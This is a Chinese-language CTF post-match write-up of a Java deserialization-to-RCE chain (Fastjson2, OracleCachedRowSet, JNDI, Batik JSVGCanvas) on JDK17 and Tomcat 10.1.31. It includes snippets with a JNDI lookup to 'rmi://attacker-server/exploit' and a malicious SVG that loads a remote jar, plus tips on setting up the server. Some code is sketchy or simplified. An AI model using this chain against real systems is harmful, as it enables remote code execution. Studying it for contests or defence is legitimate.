软件攻防赛JDBCParty赛后解
字数 1144 2025-08-29 08:30:31

JDBCParty软件攻防赛赛后解析与利用教学

1. 漏洞背景与环境分析

本次比赛环境关键组件:

  • JDK 17
  • Fastjson2
  • Oracle JDBC驱动
  • Batik-swing组件
  • Tomcat 10.1.31

2. 漏洞利用链分析

2.1 整体利用链

Fastjson2.toString() → OracleCachedRowSet.getConnection() → JNDI注入 → Batik-swing的JSVGCanvas.setURL → RCE

2.2 关键突破点

  1. 反序列化入口:利用Fastjson2的toString触发点
  2. JDK17限制绕过:使用Unsafe打破反射限制
  3. 稳定触发getter:使用JdkDynamicAopProxy代理解决不稳定问题
  4. 高版本Tomcat绕过:利用setter方式触发RCE

3. 详细利用步骤

3.1 反序列化利用

3.1.1 触发链构造

// 利用Hashtable触发toString
hashtable.readObject  TextAndMnemonicHashMap.get  obj.toString

3.1.2 解决getter不稳定问题

  • 使用JdkDynamicAopProxy代理OracleCachedRowSet
  • 指定RowSetInternal接口(包含getConnection方法)

代理实现示例:

InvocationHandler handler = (proxy, method, args) -> {
    if (method.getName().equals("getConnection")) {
        // JNDI注入触发逻辑
    }
    return null;
};

Object proxy = Proxy.newProxyInstance(
    OracleCachedRowSet.class.getClassLoader(),
    new Class[]{RowSetInternal.class},
    handler
);

3.2 JNDI注入利用

3.2.1 高版本Tomcat限制

  • Tomcat 10.1.31无forcestring属性
  • 常规JNDI注入方法失效

3.2.2 替代方案

使用JSVGCanvas.setURL触发RCE:

  1. 利用Batik-swing组件的JSVGCanvas
  2. 通过setter方式触发远程类加载

3.3 RCE实现

3.3.1 服务端准备

  1. RMIServer:使用JDK8启动
  2. XMLServer和JarServer:需使用JDK17环境

3.3.2 类加载机制分析

  • JSVGCanvas.setURL加载流程:
    1. 先在当前类加载器的依赖中查找类
    2. 不存在则从远程jar中加载
  • 注意:在jar调试环境下可能失败,需使用源码启动项目

3.3.3 平台差异

  • Mac环境下JarRCE可能无反应
  • Windows环境成功率更高

4. 完整Payload构造

4.1 反序列化部分

// 构造Hashtable触发链
Hashtable<Object, Object> hashtable = new Hashtable<>();
// 设置触发toString的对象
hashtable.put(triggerObj, value);

// 使用AOP代理包装OracleCachedRowSet
OracleCachedRowSet rowSet = new OracleCachedRowSet();
InvocationHandler handler = new JdbcAopHandler(rowSet);
RowSetInternal proxy = (RowSetInternal) Proxy.newProxyInstance(
    rowSet.getClass().getClassLoader(),
    new Class[]{RowSetInternal.class},
    handler
);

// 将代理对象放入触发链

4.2 JNDI注入部分

// OracleCachedRowSet的getConnection方法中
public Connection getConnection() throws SQLException {
    // 触发JNDI查找
    Context ctx = new InitialContext();
    ctx.lookup("rmi://attacker-server/exploit");
    return null;
}

4.3 RCE部分

<!-- 恶意SVG文件示例 -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <script xlink:href="http://attacker-server/malicious.jar"/>
</svg>

5. 环境搭建与测试建议

  1. 测试环境

    • 使用Windows系统测试
    • JDK17运行环境
    • Tomcat 10.1.31
  2. 服务端准备

    • RMI服务使用JDK8启动
    • XML和Jar服务使用JDK17
  3. 调试技巧

    • 优先使用源码启动项目而非jar包
    • 注意类加载路径问题

6. 参考资源

  1. Jackson反序列化不稳定问题参考
  2. Batik-swing漏洞分析
  3. CVE-2023-21939 PoC

7. 注意事项

  1. 平台差异可能导致利用失败
  2. 类加载路径需正确配置
  3. 不同JDK版本行为可能有差异
  4. 实际环境中可能需要绕过更多安全限制

通过以上步骤和注意事项,可以完整复现该漏洞利用链,实现从反序列化到RCE的全过程利用。

JDBCParty软件攻防赛赛后解析与利用教学 1. 漏洞背景与环境分析 本次比赛环境关键组件: JDK 17 Fastjson2 Oracle JDBC驱动 Batik-swing组件 Tomcat 10.1.31 2. 漏洞利用链分析 2.1 整体利用链 2.2 关键突破点 反序列化入口 :利用Fastjson2的toString触发点 JDK17限制绕过 :使用Unsafe打破反射限制 稳定触发getter :使用JdkDynamicAopProxy代理解决不稳定问题 高版本Tomcat绕过 :利用setter方式触发RCE 3. 详细利用步骤 3.1 反序列化利用 3.1.1 触发链构造 3.1.2 解决getter不稳定问题 使用 JdkDynamicAopProxy 代理 OracleCachedRowSet 指定 RowSetInternal 接口(包含 getConnection 方法) 代理实现示例: 3.2 JNDI注入利用 3.2.1 高版本Tomcat限制 Tomcat 10.1.31无 forcestring 属性 常规JNDI注入方法失效 3.2.2 替代方案 使用 JSVGCanvas.setURL 触发RCE: 利用Batik-swing组件的 JSVGCanvas 类 通过setter方式触发远程类加载 3.3 RCE实现 3.3.1 服务端准备 RMIServer :使用JDK8启动 XMLServer和JarServer :需使用JDK17环境 3.3.2 类加载机制分析 JSVGCanvas.setURL 加载流程: 先在当前类加载器的依赖中查找类 不存在则从远程jar中加载 注意 :在jar调试环境下可能失败,需使用源码启动项目 3.3.3 平台差异 Mac环境下JarRCE可能无反应 Windows环境成功率更高 4. 完整Payload构造 4.1 反序列化部分 4.2 JNDI注入部分 4.3 RCE部分 5. 环境搭建与测试建议 测试环境 : 使用Windows系统测试 JDK17运行环境 Tomcat 10.1.31 服务端准备 : RMI服务使用JDK8启动 XML和Jar服务使用JDK17 调试技巧 : 优先使用源码启动项目而非jar包 注意类加载路径问题 6. 参考资源 Jackson反序列化不稳定问题参考 Batik-swing漏洞分析 CVE-2023-21939 PoC 7. 注意事项 平台差异可能导致利用失败 类加载路径需正确配置 不同JDK版本行为可能有差异 实际环境中可能需要绕过更多安全限制 通过以上步骤和注意事项,可以完整复现该漏洞利用链,实现从反序列化到RCE的全过程利用。